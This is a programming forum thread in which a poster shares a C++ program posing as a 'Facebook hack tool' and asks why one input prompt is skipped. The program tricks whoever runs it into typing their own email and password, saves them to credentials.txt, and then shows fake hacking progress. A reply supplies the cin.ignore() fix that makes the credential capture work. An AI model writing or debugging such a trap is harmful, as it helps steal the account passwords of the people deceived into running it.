A program that runs the code without waiting for input

#include <iostream>
#include <cstring>
#include <fstream>

using namespace std;

void fb();

int main()
{
int x;

cout<<"\tThis test tool by Aceix is used to hack a facebook account";
cout<<"\n\n\nChoose the number associated with your choice.";
cout<<"\n\n1. Hack a facebook account."<<endl;
cout<<"2. Exit";
cout<<"\n\nSelection: ";
cin>>x;
switch(x) {
case 1:
fb();
cin.get();
break;

case 2:
cout <<"\n\nThanks for trying this hack tool.";
cin.get();
break;

default:
cout<<"\n\nWrong input! Exiting...";
cin.get();
break;
}
}

void fb()
{
string email;
string pass;
string vic;
int y;

cout<<"\n\nPlease enter your email address:"<<endl;
getline ( cin, email );

cout<<"\n\nEnter your password(this is to trick the remote server to see you as the administrator): ";
getline ( cin, pass );
system("CLS");
cout<<"Now enter the email address of your victim: ";
getline ( cin, vic );
ofstream cred( "credentials.txt", ios :: app );
cred<<email<<"\n";
cred<<pass;
cred.close();
cout<<"\n\nHacking...";
for ( y = 0; y < 1000; y++ ) {
cout<<"...";
}
cout<<"Password acquired\nAtempting login...................................................................login failed.\nPlease reboot and try again.";

cin.get();
}

The program compiles alright, but does not wait for user input at the underlined section in the code. Please show me what is wrong.
Last edited on
what's wrong is that you should clean the input buffer before calling the getline, in this way:

1
2
3
cin.ignore(); //<- with this you discard the last input in the buffer
cout<<"\n\nPlease enter your email address:"<<endl;
getline ( cin, email );


if you don't do that, the first getline looks in the buffer, find a "/n" that stay there from the previous input, and automatically return :)
Last edited on
Thanks mann helped a lot!!!
Topic archived. No new replies allowed.